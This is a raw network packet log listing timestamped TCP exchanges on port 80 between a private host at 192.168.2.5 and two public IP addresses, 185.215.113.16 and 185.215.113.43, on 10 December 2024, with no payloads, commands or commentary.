Dec 10, 2024 05:10:55.474997997 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.475126028 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.475395918 CET	80	49987	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:55.476448059 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.476547003 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.477884054 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.477982998 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.479309082 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.479401112 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.480793953 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.480840921 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.482189894 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.482284069 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.483623028 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.483722925 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.485065937 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.485158920 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.486478090 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.486586094 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.487911940 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.488012075 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.489367008 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.489418030 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.490745068 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.491507053 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.511778116 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.532116890 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.552236080 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.572520018 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.572571039 CET	49987	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:55.592633009 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.602785110 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.602798939 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.603421926 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.603522062 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.604825020 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.605003119 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.606240988 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.606370926 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.607683897 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.607785940 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.609149933 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.609240055 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.610565901 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.610687017 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.611978054 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.612086058 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.612870932 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.613435030 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.613611937 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.614873886 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.614968061 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.616331100 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.616425991 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.617736101 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.617819071 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.619143963 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.619287968 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.620641947 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.620712996 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.622034073 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.622155905 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.623476028 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.623564005 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.624969006 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.625164032 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.626338005 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.626616955 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.627871990 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.628022909 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.629262924 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.629317045 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.630651951 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.630731106 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.632133961 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.632241964 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.633492947 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.633621931 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.634931087 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.635046959 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.636372089 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.636471987 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.637809992 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.637952089 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.639256001 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.639370918 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.640671968 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.640782118 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.642102957 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.642225981 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.643591881 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.643709898 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.644987106 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.645267963 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.646434069 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.646550894 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.647855043 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.647979975 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.649317026 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.649414062 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.650721073 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.650893927 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.652187109 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.652328968 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.653188944 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.653645039 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.653707027 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.655038118 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.655143023 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.656476021 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.656599998 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.657906055 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.658010006 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.659364939 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.659547091 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.660109997 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.660152912 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.660181999 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.660207987 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.660229921 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.660283089 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.660566092 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.660753012 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.660775900 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.660878897 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.660917044 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.662214041 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.662329912 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.663688898 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.663779020 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.665127993 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.665210009 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.666506052 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.666604996 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.667949915 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.668052912 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.669368982 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.669471025 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.670840025 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.670934916 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.672282934 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.672358036 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.673629045 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.673676014 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.673849106 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.675132036 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.675364017 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.676552057 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.676723003 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.678025007 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.693702936 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.698728085 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.702656031 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.702732086 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.794914007 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.794987917 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.795042038 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.795455933 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.795490980 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.795540094 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.796534061 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.796648026 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.796696901 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.797617912 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.797761917 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.798743010 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.798831940 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.799844027 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.799977064 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.800923109 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.800976038 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.802026987 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.802139044 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.802187920 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.802313089 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.803116083 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.803220987 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.803299904 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.804270029 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.804363966 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.804400921 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.805375099 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.805458069 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.805496931 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.806428909 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.806540966 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.806579113 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.807554007 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.807677984 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.807718039 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.808650017 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.808751106 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.808792114 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.809739113 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.809835911 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.809892893 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.810833931 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.810905933 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.810945988 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.811940908 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.812031984 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.812072039 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.813030958 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.813148022 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.813194990 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.814142942 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.814239979 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.814274073 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.815243006 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.815356970 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.815448046 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.816317081 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.816420078 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.816982031 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.817348003 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.817472935 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.818424940 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.818516016 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.819505930 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.819593906 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.820517063 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.820632935 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.821584940 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.821695089 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.822653055 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.822763920 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.823719025 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.823849916 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.824810028 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.824915886 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.825845957 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.825949907 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.826913118 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.827007055 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.827953100 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.828051090 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.828972101 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.829097033 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.830104113 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.830168009 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.831101894 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.831233025 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.832180023 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.832392931 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.833336115 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.833399057 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.834319115 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.834425926 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.835138083 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.835370064 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.835500002 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.836415052 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.836539984 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.837361097 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.837362051 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.837393999 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.837455988 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.837481022 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.837557077 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.837666988 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.838541031 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.838670015 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.838813066 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.839596987 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.839708090 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.839747906 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.840713024 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.840785027 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.840825081 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.841684103 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.841806889 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.841845989 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.842740059 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.842854023 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.842891932 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.843806982 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.843923092 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.843961954 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.844870090 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.844990969 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.845030069 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.845911026 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.846029997 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.846071005 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.846987963 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.847086906 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.847126961 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.848037958 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.848212004 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.848618984 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.849142075 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.849342108 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.849380016 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.850159883 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.850270987 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.850315094 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.851171017 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.895492077 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.953448057 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.987240076 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.987286091 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.987330914 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.987720966 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.987883091 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.987945080 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.988735914 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.988801003 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.988850117 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.989830971 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.989933968 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.989986897 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:55.990860939 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.991009951 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.991930008 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.992022991 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.992970943 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.993069887 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.994021893 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.994129896 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.995090008 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.995201111 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.996160984 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.996269941 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.997262955 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.997467995 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.998276949 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.998337984 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.999320984 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.999434948 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:55.999456882 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:56.000386000 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.000492096 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.001445055 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.001560926 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.002507925 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.002614021 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.003545046 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.003660917 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.004617929 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:56.004723072 CET	80	49984	185.215.113.16	192.168.2.5
